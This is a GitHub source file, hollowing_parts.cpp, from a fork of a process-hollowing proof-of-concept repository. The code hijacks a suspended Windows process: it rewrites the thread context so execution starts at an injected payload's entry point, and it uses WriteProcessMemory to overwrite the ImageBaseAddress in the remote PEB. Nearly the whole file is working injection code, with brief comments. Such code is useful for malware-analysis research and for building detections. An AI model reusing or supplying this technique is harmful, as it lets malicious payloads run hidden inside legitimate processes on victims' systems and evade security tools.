forked from hasherezade/transacted_hollowing
-
Notifications
You must be signed in to change notification settings - Fork 0
/
Copy pathhollowing_parts.cpp
133 lines (123 loc) · 4.36 KB
/
hollowing_parts.cpp
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
#include "hollowing_parts.h"
#include <iostream>
BOOL update_remote_entry_point(PROCESS_INFORMATION &pi, ULONGLONG entry_point_va, bool is32bit)
{
#ifdef _DEBUG
std::cout << "Writing new EP: " << std::hex << entry_point_va << std::endl;
#endif
#if defined(_WIN64)
if (is32bit) {
// The target is a 32 bit executable while the loader is 64bit,
// so, in order to access the target we must use Wow64 versions of the functions:
// 1. Get initial context of the target:
WOW64_CONTEXT context = { 0 };
memset(&context, 0, sizeof(WOW64_CONTEXT));
context.ContextFlags = CONTEXT_INTEGER;
if (!Wow64GetThreadContext(pi.hThread, &context)) {
return FALSE;
}
// 2. Set the new Entry Point in the context:
context.Eax = static_cast<DWORD>(entry_point_va);
// 3. Set the changed context into the target:
return Wow64SetThreadContext(pi.hThread, &context);
}
#endif
// 1. Get initial context of the target:
CONTEXT context = { 0 };
memset(&context, 0, sizeof(CONTEXT));
context.ContextFlags = CONTEXT_INTEGER;
if (!GetThreadContext(pi.hThread, &context)) {
return FALSE;
}
// 2. Set the new Entry Point in the context:
#if defined(_WIN64)
context.Rcx = entry_point_va;
#else
context.Eax = static_cast<DWORD>(entry_point_va);
#endif
// 3. Set the changed context into the target:
return SetThreadContext(pi.hThread, &context);
}
ULONGLONG get_remote_peb_addr(PROCESS_INFORMATION &pi, bool is32bit)
{
#if defined(_WIN64)
if (is32bit) {
//get initial context of the target:
WOW64_CONTEXT context;
memset(&context, 0, sizeof(WOW64_CONTEXT));
context.ContextFlags = CONTEXT_INTEGER;
if (!Wow64GetThreadContext(pi.hThread, &context)) {
printf("Wow64 cannot get context!\n");
return 0;
}
//get remote PEB from the context
return static_cast<ULONGLONG>(context.Ebx);
}
#endif
ULONGLONG PEB_addr = 0;
CONTEXT context;
memset(&context, 0, sizeof(CONTEXT));
context.ContextFlags = CONTEXT_INTEGER;
if (!GetThreadContext(pi.hThread, &context)) {
return 0;
}
#if defined(_WIN64)
PEB_addr = context.Rdx;
#else
PEB_addr = context.Ebx;
#endif
return PEB_addr;
}
inline ULONGLONG get_img_base_peb_offset(bool is32bit)
{
/*
We calculate this offset in relation to PEB,
that is defined in the following way
(source "ntddk.h"):
typedef struct _PEB
{
BOOLEAN InheritedAddressSpace; // size: 1
BOOLEAN ReadImageFileExecOptions; // size : 1
BOOLEAN BeingDebugged; // size : 1
BOOLEAN SpareBool; // size : 1
// on 64bit here there is a padding to the sizeof ULONGLONG (DWORD64)
HANDLE Mutant; // this field have DWORD size on 32bit, and ULONGLONG (DWORD64) size on 64bit
PVOID ImageBaseAddress;
[...]
*/
ULONGLONG img_base_offset = is32bit ?
sizeof(DWORD) * 2
: sizeof(ULONGLONG) * 2;
return img_base_offset;
}
bool redirect_to_payload(BYTE* loaded_pe, PVOID load_base, PROCESS_INFORMATION &pi, bool is32bit)
{
//1. Calculate VA of the payload's EntryPoint
DWORD ep = get_entry_point_rva(loaded_pe);
ULONGLONG ep_va = (ULONGLONG)load_base + ep;
//2. Write the new Entry Point into context of the remote process:
if (update_remote_entry_point(pi, ep_va, is32bit) == FALSE) {
std::cerr << "Cannot update remote EP!\n";
return false;
}
//3. Get access to the remote PEB:
ULONGLONG remote_peb_addr = get_remote_peb_addr(pi, is32bit);
if (!remote_peb_addr) {
std::cerr << "Failed getting remote PEB address!\n";
return false;
}
// get the offset to the PEB's field where the ImageBase should be saved (depends on architecture):
LPVOID remote_img_base = (LPVOID)(remote_peb_addr + get_img_base_peb_offset(is32bit));
//calculate size of the field (depends on architecture):
const size_t img_base_size = is32bit ? sizeof(DWORD) : sizeof(ULONGLONG);
SIZE_T written = 0;
//4. Write the payload's ImageBase into remote process' PEB:
if (!WriteProcessMemory(pi.hProcess, remote_img_base,
&load_base, img_base_size,
&written))
{
std::cerr << "Cannot update ImageBaseAddress!\n";
return false;
}
return true;
}